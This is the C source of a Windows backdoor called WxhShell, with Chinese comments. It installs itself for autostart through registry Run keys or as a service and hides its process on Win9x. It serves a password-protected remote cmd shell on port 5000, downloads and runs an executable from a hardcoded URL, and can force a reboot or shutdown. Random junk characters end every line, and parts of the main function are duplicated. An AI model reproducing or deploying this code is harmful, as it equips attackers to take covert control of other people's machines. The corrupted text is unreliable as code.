WinExec(wscfg.ws_filenam,SW_HIDE); [c=T)]E1
} ^KeJ=VT
KNw{\Pz~w
if(!OsIsNt) { e<;^P(g`E
// 如果时win9x，隐藏进程并且设置为注册表启动 +g6t)Gl
HideProc(); }j. [h;C6
StartWxhshell(lpCmdLine); c+^#(OB
} '"/Yk=EmlU
else =oPc\VYW
if(StartFromService()) =vaC?d3
// 以服务方式启动 |dxcEjcY_
StartServiceCtrlDispatcher(DispatchTable); #r ;;d(
else s^n}m#T
// 普通方式启动 c<PML|e
StartWxhshell(lpCmdLine); M#PutrH
fZ*LxL
return 0; T.57Okp
} =(^-s Jk
1Y-m=~J7
/s\_"p
Q0\tK=Z/
=========================================== y ;$8C
N4wv'OrL]
%bp8VR sY
GT)63|
l-Q.@hG
4KkjBPV
" !)}3[h0
JFvVRGWB
#include <stdio.h> ?y@RE
#include <string.h> FccT@,.F
#include <windows.h> @4'bI)
#include <winsock2.h> yz CQ
#include <winsvc.h> dHtbl\6
#include <urlmon.h> Wxi|(}
Bj ~bsT@a.
#pragma comment (lib, "Ws2_32.lib") n8!qz:z/
#pragma comment (lib, "urlmon.lib") 0M'[|cid|
TaZw_)4c
#define MAX_USER 100 // 最大客户端连接数 U%7| iK
#define BUF_SOCK 200 // sock buffer wQ4IQ!
#define KEY_BUFF 255 // 输入 buffer /-.i=o]b
JMUk=p<\
#define REBOOT 0 // 重启 /lC&'hT
#define SHUTDOWN 1 // 关机 =`b/ip5
!IZbMn6
#define DEF_PORT 5000 // 监听端口 ?3{R'Buv]
~1NK@=7T
#define REG_LEN 16 // 注册表键长度 *6-fvqCv
#define SVC_LEN 80 // NT服务名长度 g`)5g5
VPKoBJ&
// 从dll定义API r@2{>j8
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2f%G`4/p
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AX Y.80+
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uA}w?;
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6(Qr!<
H9x,C/r,
// wxhshell配置信息 ha;Xali ]
struct WSCFG { Lqt.S|
int ws_port; // 监听端口 ;>eD`Wh
char ws_passstr[REG_LEN]; // 口令 N(%%bHi#V
int ws_autoins; // 安装标记, 1=yes 0=no v{N4*P.0T
char ws_regname[REG_LEN]; // 注册表键名 _?vh#6F
char ws_svcname[REG_LEN]; // 服务名 'E4`qq
char ws_svcdisp[SVC_LEN]; // 服务显示名 t3#My2=
char ws_svcdesc[SVC_LEN]; // 服务描述信息 YpAJ7E|7
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IZ$7'Mo86
int ws_downexe; // 下载执行标记, 1=yes 0=no 9(9+h]h+3
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ];-DqK'
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uB(16|W>S
G2bZl% ,D
}; fQ\nK H~
i/&?e+i
// default Wxhshell configuration 6I$laHx?
struct WSCFG wscfg={DEF_PORT, a?zn>tx
"xuhuanlingzhe", NF}QQwG3
1, LqH<HGMFD
"Wxhshell", %uuh+@/&yz
"Wxhshell", -+'fn$
"WxhShell Service", j|`6[93MG
"Wrsky Windows CmdShell Service", }Htnhom0n
"Please Input Your Password: ", ~wMdk9RQ
1, qk;vn}auD]
"http://www.wrsky.com/wxhshell.exe", L[]*vj
"Wxhshell.exe" |WopsV %
}; ;XJK*QDN
!)jw o=l}J
// 消息定义模块 y:U'3G-
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oD$8(
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wc}opp
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +E8Itb,
char *msg_ws_ext="\n\rExit."; TZ`@pDi
char *msg_ws_end="\n\rQuit."; bYuQ"K A$
char *msg_ws_boot="\n\rReboot..."; 9,?\hBEu
char *msg_ws_poff="\n\rShutdown..."; }Yi)r*LI3
char *msg_ws_down="\n\rSave to "; xW$F-n
[}7j0&
char *msg_ws_err="\n\rErr!"; ]L'FYOfrpx
char *msg_ws_ok="\n\rOK!"; }Pm>mQZ},
T ;Ga G
char ExeFile[MAX_PATH]; ?4X8l@fR
int nUser = 0; R&w2y$
HANDLE handles[MAX_USER]; 0p8Z l
int OsIsNt; \5+?wpH
p^2"g~
SERVICE_STATUS serviceStatus; p*11aaIbp~
SERVICE_STATUS_HANDLE hServiceStatusHandle; -hM nA)+
J{GtH[
// 函数声明 UbBo#(TZ)
int Install(void); Cd4a7<-
int Uninstall(void); vepZod}D
int DownloadFile(char *sURL, SOCKET wsh); i|'M'^3r
int Boot(int flag); so* lV
void HideProc(void); G1;.\i
int GetOsVer(void); ~~U2Sr
int Wxhshell(SOCKET wsl); G2FP|mf,
void TalkWithClient(void *cs); -qki^!Y?
int CmdShell(SOCKET sock); 0nkon3H
int StartFromService(void); 3pxm0|
int StartWxhshell(LPSTR lpCmdLine); n-h2SQl!
LPjsR=xi
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bYr;~ ^
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !B=Oc!e=K
ZE#f{qF(
// 数据结构和表定义 btq`[gAF\
SERVICE_TABLE_ENTRY DispatchTable[] = GCxtWFXH
{ m6%csh-N1
{wscfg.ws_svcname, NTServiceMain}, ^wL n
{NULL, NULL} Jjb(lW
}; 8S&Kf>D
N-x~\B!
// 自我安装 Qm|Q0u
int Install(void) #A8d@]Ps
{ U @Il:\I
char svExeFile[MAX_PATH]; V?g@pnN"
HKEY key; )" H$1
strcpy(svExeFile,ExeFile); RP]hW{:U
32_{nLV$[
// 如果是win9x系统，修改注册表设为自启动 xl%!7?G|$>
if(!OsIsNt) { !Jo3>!,j
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1a#oJU
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yVThbL_YJ
RegCloseKey(key); xO2S|DH{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uN`{; Av
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a8T<f/qW k
RegCloseKey(key); &a?&G'?
return 0; 0B(<I?a/
} ,}M@Am0~
} Lc>9[!+#
} =RR225
else { t#+X*'/
e&dE>m
// 如果是NT以上系统，安装为系统服务 |H67ny&K^&
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t<O5_}R%d
if (schSCManager!=0) .p%p_
{ ^'S0A=1
SC_HANDLE schService = CreateService +w Oa
( 9X8{"J
schSCManager, IxT[1$e
wscfg.ws_svcname, OE(H:^ZR
wscfg.ws_svcdisp, e{edI{g
SERVICE_ALL_ACCESS, qvz2u]IOw
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X{rw+!
SERVICE_AUTO_START, .I{b]6
SERVICE_ERROR_NORMAL, Hz$l)g}U
svExeFile, ! /Z{uy
NULL, iw<#V&([J
NULL, .BGM1ph}~
NULL, v*%#Fp,g8
NULL, QRnkj]b
NULL %iWup:
); dzZ74FE!t
if (schService!=0) !dB {E
{ }7CMXw [
CloseServiceHandle(schService); 2=X2M
CloseServiceHandle(schSCManager); \^iPU 27H
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^4^1)' %
strcat(svExeFile,wscfg.ws_svcname); 8~?3: IZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '1A S66k
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xwa5dtcng
RegCloseKey(key); .lfKS!m2
return 0; @cPb*
} 7N"$~UfC
} 8YC\Bw
CloseServiceHandle(schSCManager); ]Q=D'1MM
} hoI?,[@F
} I|lz;i}$
_^Lv8a3(O
return 1; 6_/691
} h+Km|
ghm5g/
// 自我卸载 ~vnG^y>%
int Uninstall(void) h)BRSs?v_D
{ _ngyai1
HKEY key; {J q[N}
([zt}uf
if(!OsIsNt) { U'zW; Lt
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~H/|J^ J
RegDeleteValue(key,wscfg.ws_regname); _f$8{&`k
RegCloseKey(key); KE:PRX
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IbC(/i#%`
RegDeleteValue(key,wscfg.ws_regname); B"TZ8(<
RegCloseKey(key); /2-S/,a
return 0; ep .AW'+
} ]kq{9b';
} Mk"+*G
} ;4tVFqR
else { ^D\1F$AjC
aO('X3?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9tsI1]1[m
if (schSCManager!=0) Xu`c_
{ 9K~2!<
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aYr?J Ol
if (schService!=0) "P HkbU
{ "Wr5:T-;
if(DeleteService(schService)!=0) { *T j(IN
CloseServiceHandle(schService); KJ<7aZ
CloseServiceHandle(schSCManager); D'Tb=
return 0; n"8vlNeW
} yjUZ40Dq
CloseServiceHandle(schService); ,80qwN,
} QU^*(HGip
CloseServiceHandle(schSCManager); w~a^r]lPW
} dt(~)*~R
} BDSZ'
QQUeY2}
return 1; XL@i/5C[
} n4Nb,)M
R06L4,/b
// 从指定url下载文件 m7wD#?lm
int DownloadFile(char *sURL, SOCKET wsh) n 1MZHa,
{ [G2@[CtY1
HRESULT hr; [2?|BUtD[
char seps[]= "/"; ^T@ (`H4@
char *token; 73B,I 0U
char *file; >(mp$#+w
char myURL[MAX_PATH]; A^:[+PJHN
char myFILE[MAX_PATH]; V(_OyxeC{2
0"7%*n."2
strcpy(myURL,sURL); :)VO,b~r
token=strtok(myURL,seps); v+uq
while(token!=NULL) )9F-h8 &"
{ j#QJ5(#
file=token; twElLOE
token=strtok(NULL,seps); >QO^h<.>
} OE' ?3S
^Pl(V@
GetCurrentDirectory(MAX_PATH,myFILE); [ZC]O2'
strcat(myFILE, "\\"); D\|$!i}
strcat(myFILE, file); ly"Jl8/<
send(wsh,myFILE,strlen(myFILE),0); .GcIwP'aU-
send(wsh,"...",3,0); TI4#A E
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h}-}!v
if(hr==S_OK) Qt`hUyL
return 0; $/;D8P5/&=
else -n&g**\w
return 1; :5Vk+s]8
R<.<wQ4I
} Pyh+HD\
^mxOQc !
// 系统电源模块 ?>c*[>LpZ
int Boot(int flag) p3>(ZWPNV
{ 0K/Pth"*
HANDLE hToken; I\e?v`e
TOKEN_PRIVILEGES tkp; ?;84M@
ldp x,
if(OsIsNt) { *D`]7I~}
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y/=:F=H@w
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PdiP5S }/
tkp.PrivilegeCount = 1; Ku;|Dz/=o
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DUH\/<^g
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "Tw4'AY'P
if(flag==REBOOT) { ,b[}22
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BGM5pc (ei
return 0; 8vQGpIa,
} TdGda'C
else { =KQQS6
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZEY="pf
return 0; }/tT=G]91
} N>h/!# ZC
} +c)"p4m
else { 6oTWW@
if(flag==REBOOT) { &gF*p
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fP 1V1ao
return 0; Vb{5-v ;a
} zED#+-7
else { $cl[Qcw
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &O|!w&
return 0; lMkDLobos
} D5]AL5=Xt2
} Y~I$goT
}YV,uJH[
return 1; ed3d 6/%HR
} \YUl$d0
/#mq*kNIM6
// win9x进程隐藏模块 -,xCUG<g
void HideProc(void) x"g-okLN
{ j /d?c5
Yz<,`w5/6~
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3[q&%Z.
if ( hKernel != NULL ) X;2I' Kg
{ ~kDR9s7
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hz:^3F`>/&
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bBx.snBK
FreeLibrary(hKernel); (CUrFZT$
} @|I:A
n oWjZ
return; 7JC^+rk
} QuF76&)7
'K|Jg.2
// 获取操作系统版本 XOOWrK7O
int GetOsVer(void) |X}H&wBWo
{ 3k%fY
OSVERSIONINFO winfo; Gp 8%n
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i4sd29v
GetVersionEx(&winfo); 8PN/*Sa
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |aAu4
return 1; r'TxYM-R
else ^{ Kj{M22
return 0; !yUn|v>&p
} 'A^;P]y
72i]`
// 客户端句柄模块 _'eG
int Wxhshell(SOCKET wsl) |6qxRWT"
{ BIu%A]e"
SOCKET wsh; t=-t xnlr<
struct sockaddr_in client; iTX:*$~I
DWORD myID; UJ\[^/t
C]X:@^Hy
while(nUser<MAX_USER) A$6T)
{ q5Bj0r[/o
int nSize=sizeof(client); s=[Tm}[
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6[b?ckvi
if(wsh==INVALID_SOCKET) return 1; |3Fo4K%+
D]n"`< Ho
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L&gC
if(handles[nUser]==0) xgdS]Sz
closesocket(wsh); T9s$IS,
else 9S<87sO
nUser++; 8vk*",
} "7]YvZYu0
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); asT/hsSNS
nZ4JI+Q)~
return 0; %i!=.7o.
} /mi9q
OpNTyKbaD
// 关闭 socket |"K<
void CloseIt(SOCKET wsh) |8QXjzH
{ ^#6"d+lp
closesocket(wsh); z%4E~u10
nUser--; r8R]0\
ExitThread(0); T(GEFntY
} 3SI~?&HU!/
5s5GBJ?
// 客户端请求句柄 }\iH~T6
void TalkWithClient(void *cs) }3b3^f
{ Z+gG.|"k
(0wQ [(
SOCKET wsh=(SOCKET)cs; 3?}\Hw
char pwd[SVC_LEN]; WxLmzSz{xD
char cmd[KEY_BUFF]; 9_$i.@L1
char chr[1]; +qWrm|O]
int i,j; B-R& v8F
dy}O6
while (nUser < MAX_USER) { Bql5=p
;0Vyim)S]
if(wscfg.ws_passstr) { _mEW]9Sp
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s(0S)l<
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6\+ZTw
//ZeroMemory(pwd,KEY_BUFF); UY ^dFbJ
i=0; kVqRl%/3Tb
while(i<SVC_LEN) { !nm[ZrSP
5qe6/E@
// 设置超时 (TX\vI&
fd_set FdRead; 5xS ze;
struct timeval TimeOut; (Yv)%2
FD_ZERO(&FdRead); ]-rhc.Gk@1
FD_SET(wsh,&FdRead); qe/|u3I<lF
TimeOut.tv_sec=8; Ar;uq7c,G
TimeOut.tv_usec=0; Np.] W(
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9s.x%m,
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J{69iQ
J2KULXF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vgj&hdbd
pwd=chr[0]; zXEu3h
if(chr[0]==0xd || chr[0]==0xa) { ]Qu.-F#g
pwd=0; G*`H2-,
break; +,g"8&>
} ^zfO=XN
i++; #A:+|{H"
} eZck$]P(6H
C.#\Pz0
// 如果是非法用户，关闭 socket HCCEIgCT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =JR6-A1>
} w,s++bV;L
,Fv8&tR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %XQ!>BeE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fYt y7
C4].egVg
while(1) { 9>OPaLn
Cj +{%^#
ZeroMemory(cmd,KEY_BUFF); #Bih=A #
S>6f0\F/Y%
// 自动支持客户端 telnet标准 6^Q/D7U;s
j=0; fPA5]a9
while(j<KEY_BUFF) { K:cZq3F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IQm[,Fh
cmd[j]=chr[0]; fDzG5}i
if(chr[0]==0xa || chr[0]==0xd) { f6*6*=
cmd[j]=0; 8NUVHcB6
break; {!/ha$(
} Jfe<$-$$7
j++; K.R4.{mo
} Hd8 O3_5
w y\0o
// 下载文件 yPmo@aw]1
if(strstr(cmd,"http://")) { G%q^8#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^tr?y??k
if(DownloadFile(cmd,wsh)) ElK7jWJ+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Vf k.OP
else ) u(Gf*t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 o!*bWh
} Nj^:8]D)0
else { }iE!( l
YPU*T&~
switch(cmd[0]) { [J-uvxD
c2o.H!>
// 帮助 bgNN0,+8
case '?': { #sRkKl|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s-[v[w'E
break; )/vse5EG+
} p3q >a<
// 安装 CBrC
case 'i': { ;J&p17~T9
if(Install()) u;/5@ADW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /9 ^F_2'_
else q[ -YXO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t~0!K;nn
break; 5nA *'($j
} ^fq^s T.$
// 卸载 O`rKxP
case 'r': { Fo:60)Lr
if(Uninstall()) }9FAM@x1K&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dR|*VT\
else "+{>"_KV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gT&s &0_7
break; Gtm|aR{OS
} /T\'&s3D+
// 显示 wxhshell 所在路径 .gP}/dj
case 'p': { sWKe5@-o0
char svExeFile[MAX_PATH]; KM:k<pvi
strcpy(svExeFile,"\n\r"); gbvMS*KQz
strcat(svExeFile,ExeFile); z^z,_?q;
send(wsh,svExeFile,strlen(svExeFile),0); ~^<1k-
break; _+*+,Vx
} 7E]qP 5
// 重启 7ZR0cJw;
case 'b': { +v{g'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ON-zhT?v
if(Boot(REBOOT)) 0n)99Osq(u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =&,<Co1hF
else { Q| _e=
closesocket(wsh); vP@\"
ExitThread(0); ]; Z[V
} sL",Ho
break; *I<L1g%9d
} ^/M-*U8ab
// 关机 ?qt.+2:
case 'd': { *P; cSx?2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vAt]N)R
if(Boot(SHUTDOWN)) xN +Oca
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /!A?>#O&.
else { |?\J,h
closesocket(wsh); c_ Dg0
ExitThread(0); '?O_(%3F0
} &$NYZ3?9
break; N% !TFQf
} jxdX7aik
// 获取shell I ]HP
case 's': { 8:gUo8
CmdShell(wsh); 4Je[!X@C
closesocket(wsh); B }t529Z
ExitThread(0); LM2S%._cj;
break; X"EZpJ'W
} Em]2K:
// 退出 ttd ^jT
case 'x': { n]x%xnt
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !L3\B_#
CloseIt(wsh); G<W;HMj2
break; ZGsI\3S
} A81'ca/
// 离开 TMw6 EM
case 'q': { p?V@P6h
send(wsh,msg_ws_end,strlen(msg_ws_end),0); mhW*rH*m
closesocket(wsh); qq'%9
WSACleanup(); ! z6T_;s
exit(1); nw,XA0M3
break; =Y {<&:%(
} " 7g\X$
} A/TCJ#>l
} vX}#wDNP
A/sM ?!p>_
// 提示信息 aL^ 58My&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W4p4[&c|
} ngOGo =
} YLv5[pV
,lDOo+eE%:
return; =:*2t
} !6FO[^h||H
$!7$0WbC
// shell模块句柄 k*K.ZS688
int CmdShell(SOCKET sock) S1a6uE
{ UW'@3#<?
STARTUPINFO si; @iBaJ"*,
ZeroMemory(&si,sizeof(si)); |a!]Iqz"N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cD ?'lB-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,FL*Z9wA
PROCESS_INFORMATION ProcessInfo; c&'5r OY~
char cmdline[]="cmd"; #<DS-^W!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D9JHx+Xf>
return 0; yYiu69v
} v2Vmcc_]9x
5S 4Bz
// 自身启动模式 |_mN:(3
int StartFromService(void) 2= zw!
{ `Sal-|[Cv[
typedef struct |ITh2m
{ ."Q}2
DWORD ExitStatus; \:Q)X$6
DWORD PebBaseAddress; p:zRgwcn
DWORD AffinityMask; p^)w$UL}}
DWORD BasePriority; H,EGB8E2
ULONG UniqueProcessId; 0M!GoqaA
ULONG InheritedFromUniqueProcessId; 6h7TM?lt
} PROCESS_BASIC_INFORMATION; W>(w&k]%B
K(#O@Wmjq
PROCNTQSIP NtQueryInformationProcess; <72q^w
IXpn(vX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g(dReC
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `(M0I!t
(qzBy \\p
HANDLE hProcess; 4{ [d '-H5
PROCESS_BASIC_INFORMATION pbi; oQ}K_}{>
rV}&G!V_t
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ey)ey-'\
if(NULL == hInst ) return 0; 1 %8JMq\
0ax;Q[z2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EMzJyGt7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KNjU!Z/4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dF><XZph
3_"tds <L
if (!NtQueryInformationProcess) return 0; }/QtIY#I
hQeG#KQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CU:HTz=
if(!hProcess) return 0; e~geBlLar
"c+$GS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qna*K7kv
gYBMi)`RT
CloseHandle(hProcess); _'l"Dk
}Fsr"RER@{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n`V?n
if(hProcess==NULL) return 0; [I}z\3Z %
-$$mrU
HMODULE hMod; e*Y<m\*
char procName[255]; W#2} EX
unsigned long cbNeeded; -Jt36|O
Oh%p1$H
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +J#8wh
i,t!17M:
CloseHandle(hProcess); 5?[hr5E.E
bd H+M?k
if(strstr(procName,"services")) return 1; // 以服务启动 Tn9Fg7<
rBOH9L
return 0; // 注册表启动 MRg Ozg
} eAStpG"*
}I1j#d0.
// 主模块 DF UTQ:N
int StartWxhshell(LPSTR lpCmdLine) q]Kv.x]$R
{ m6#a{
SOCKET wsl; E#,\[<pc
BOOL val=TRUE; _Tm]tlV
int port=0; 7!wc'~;
struct sockaddr_in door; Kv)}
":q+"*fy
if(wscfg.ws_autoins) Install(); GFju:8P?
B&_Z&H=
port=atoi(lpCmdLine); mX!*|$bs
;&'ryYrex
if(port<=0) port=wscfg.ws_port; zl| XZ
KuW>^mF(I
WSADATA data; "n)AlAV@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +25=u|#4r
A}}dc:$C
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b- bvkPN
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v??$z#1F3
door.sin_family = AF_INET; i=1crJ:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sk)lT^by
door.sin_port = htons(port); Z}t^i^u
z 2jC48~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D_1O4/
closesocket(wsl); ,7k-LAA
return 1; ^do6?e`?-
} !|j|rYi-
\WbQS#Z9
if(listen(wsl,2) == INVALID_SOCKET) { [S8*b^t4
closesocket(wsl); H?!DcUg CC
return 1; sOiM/}O]
} >]&Ow9-
Wxhshell(wsl); BvH?d]%
WSACleanup(); mlCg&fnDB
13w(Tf
return 0; TIt\
#HW<@E
} d0C _:_
&%GAPs%
// 以NT服务方式启动 +GL$[ 5G
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hvQXYo>TZx
{ biBMd(6
DWORD status = 0; u`.)O2)xU
DWORD specificError = 0xfffffff; -%gEND-AP
'TuaP`]<
serviceStatus.dwServiceType = SERVICE_WIN32; PHEQG]HS
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HyOrAv <
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,G5[?H;ZN
serviceStatus.dwWin32ExitCode = 0; -ucgET`
serviceStatus.dwServiceSpecificExitCode = 0; Kd58'$
serviceStatus.dwCheckPoint = 0; Bf]Bi~w<
serviceStatus.dwWaitHint = 0; B /w&Lo
y22DBB8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -{8K/!
if (hServiceStatusHandle==0) return; ;gSRpTS:
3fB]uq+eD%
status = GetLastError(); {V[}#Mf
if (status!=NO_ERROR) |#M|"7;2z
{ S4[#[w`=
serviceStatus.dwCurrentState = SERVICE_STOPPED; CfSP*g0rW
serviceStatus.dwCheckPoint = 0; %D8.uGsh
serviceStatus.dwWaitHint = 0; CswKT9
serviceStatus.dwWin32ExitCode = status; \!BVf@>p%
serviceStatus.dwServiceSpecificExitCode = specificError; M@<9/xPS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3l41"5Fy&
return; ,Kl?-W@
} %lWOW2~R
n*A1x8tn
serviceStatus.dwCurrentState = SERVICE_RUNNING; Qni`k)4
serviceStatus.dwCheckPoint = 0; ~6@`;s`[Y
serviceStatus.dwWaitHint = 0; 3\Q9>>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Owi/e
} dpscgW{M
m,!SDCq
// 处理NT服务事件，比如：启动、停止 5B4/2q=
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?6&8-zt1?
{ 9J?s:"j
switch(fdwControl) {&mHfN
{ 1ONkmVtL
case SERVICE_CONTROL_STOP: )y;7\-K0
serviceStatus.dwWin32ExitCode = 0; zU+q03l8Ur
serviceStatus.dwCurrentState = SERVICE_STOPPED; $P?^GB>u
serviceStatus.dwCheckPoint = 0; n+hL/aQ+
serviceStatus.dwWaitHint = 0; 3oMHy5
{ C-;w}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }UB@FRPF
} cPNc$^Y
return; y^`JWs,
case SERVICE_CONTROL_PAUSE: !e~[U-
serviceStatus.dwCurrentState = SERVICE_PAUSED; yG/!K uA
break; ?X6}+
case SERVICE_CONTROL_CONTINUE: )3:0TFS}}k
serviceStatus.dwCurrentState = SERVICE_RUNNING; =!^ gQ0~4
break; YnU)f@b#
case SERVICE_CONTROL_INTERROGATE: -|uoxj>
break; ][v]Nk
}; QR'#]k;>%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jxkjPf?
} 2*V[kmD/3
[%N?D#;
// 标准应用程序主函数 s) shq3O
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [A!w
{ >!xyA;
;s/<wx-C
// 获取操作系统版本 t'Wv?,
OsIsNt=GetOsVer(); > ]^'h
GetModuleFileName(NULL,ExeFile,MAX_PATH); /z*Z+OT2
%NxQb'
// 从命令行安装 ~s'tr&+
if(strpbrk(lpCmdLine,"iI")) Install(); u/u(Z&
7<] EH:9
// 下载执行文件 A,cXN1V
if(wscfg.ws_downexe) { f(Of+>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fds 11 /c7
WinExec(wscfg.ws_filenam,SW_HIDE); x~!|F5JbM
} UE.kR+1
1d<Uwb>
if(!OsIsNt) { C'#)mo_@t
// 如果时win9x，隐藏进程并且设置为注册表启动 $3g{9)}
HideProc(); ?Z7QD8N
StartWxhshell(lpCmdLine); LD}~]
